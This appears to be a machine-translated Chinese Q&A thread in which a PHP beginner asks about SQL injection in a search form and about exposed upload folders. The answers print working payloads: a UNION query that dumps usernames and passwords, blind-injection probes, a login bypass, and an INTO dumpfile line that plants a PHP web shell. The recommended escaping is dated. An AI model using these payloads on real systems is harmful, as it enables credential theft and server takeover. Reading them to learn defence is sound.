我正在建立一个非常小的网站(使用PHP),我有两大问题
第一个是关于我的搜索表单
我已经构建了一个非常简单的搜索表单来检索我的内容,然后我使用了一个在线安全工具,并告诉我我的搜索表单容易受到SQLi的攻击
我不知道这一点,所以我开始测试我在一些网站上发现的一些攻击
到目前为止只有'OR 'x'='x
工作(它返回我网站的全部内容,这是不是很糟糕?攻击者如何伤害我?
第二个问题是关于我的照片,我使用名为mywebsite.com/uploads/的文件夹来访问我的照片
虽然/ upload受到保护,但子文件夹uploads / temp和uploads / thumbs可通过浏览器看到
这可能也有害吗?
有什么建议吗?
答案 0 :(得分:2)
SQL注入非常糟糕,但我喜欢它:)
有许多类型的sql注入,如
远程sql注入
盲目的SQL注入
自动绕过sql注入
**Remote sql injection**
从网站黑客获取数据的简便方法就像编码员一样使用它 看这个例子
mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;
我的代码中没有安全性
site.php?ID = 1
我的查询将像
一样执行mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;
如果黑客他会杀了你的代码
site.php?id = 1(这里的任何事情都可以解决问题:''a-z A-Z / * /“)
因为查询会像这样
mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
因此单个配额将在您的查询中出错
黑客可以像这样攻击
site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
此处您的查询将像
一样执行mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");
这将有效:)
盲目的SQL注入
黑客无法使用简单方法远程sql注入
因为它在这里取决于正确和错误
因此他将使用and
or
and (select user_name from users) ;
如果工作正常,脚本将运行良好,否则将发生错误
他可以像这样了解数据库信息
示例管理表为admin
and (select user_name from users) ; x error
and (select user_name from admin) ; fine
自动绕行
它的blicd sql注入但只有真实条件才能访问admin
mysql_query("SELECT * FROM `users` WHERE `user_name`= ".$_POST['user']." AND `password` ='".md5($_POST['pass'])."' ");
黑客可以像这样登录
user = anything'或1 = 1 -
所以你的查询就像
mysql_query("SELECT * FROM `users` WHERE `user_name`= anything or 1=1 --");
数据库中的任何错误用户
但是条件或1 = 1是真的
- 将忽略您的密码检查
他可以轻松访问
保护
addslashes _ mysql_real_escape_string _ intval ( with number only )
文件夹预设你可以使用
清空index.html,index.php,
答案 1 :(得分:1)
如果您允许SQL注入,攻击者可以为您的网站做各种不好的事情。他们可以将代码注入DROP DATABASE,删除整个数据库!
如果您以root用户身份登录mysql,他们可能会在您的服务器上写入文件(并创建)文件。
注射;
SELECT '<?php system($_GET[''cmd'']); ?>' INTO dumpfile('./command.php');
进入服务器是一个常见的第一步,允许攻击者在www-data用户下执行任意命令。从这里开始,将服务器引入僵尸网络,使用它发送垃圾邮件(让您通过发送电子邮件将其列入黑名单),或者只是删除所有文件只是为了毁掉你的一天,这是微不足道的。
必须做的是清理所有用户输入。因此,在搜索处理器中,必须先从搜索查询中转义任何特殊字符,然后再将其传递到数据库,您可以使用mysql_real_escape_string();
如此;
$search_query = mysql_real_escape_string($_POST['search']);
然后在mysql查询中使用$ search_query是安全的。
答案 2 :(得分:0)
SQL注入 - 这很糟糕。 有人可以在您的数据库中运行他想要的任何查询,查找密码,删除整个数据等。 你可以通过使用mysql_real_escape_string
包装查询中的所有用户输入来避免它关于目录 - 它实际上取决于您提供的访问。如果文件列表可用,那并不意味着有人可以进行更改/执行
答案 3 :(得分:0)
广告SQL注入:
广告文件夹:您的意思是任何用户都可以看到文件夹的内容?如果是这样,用户可能会看到他们看不到的图片。如果您有充分的理由保护(没有文件列表?)主目录,为什么不将它应用于temps /和thumbs /子目录?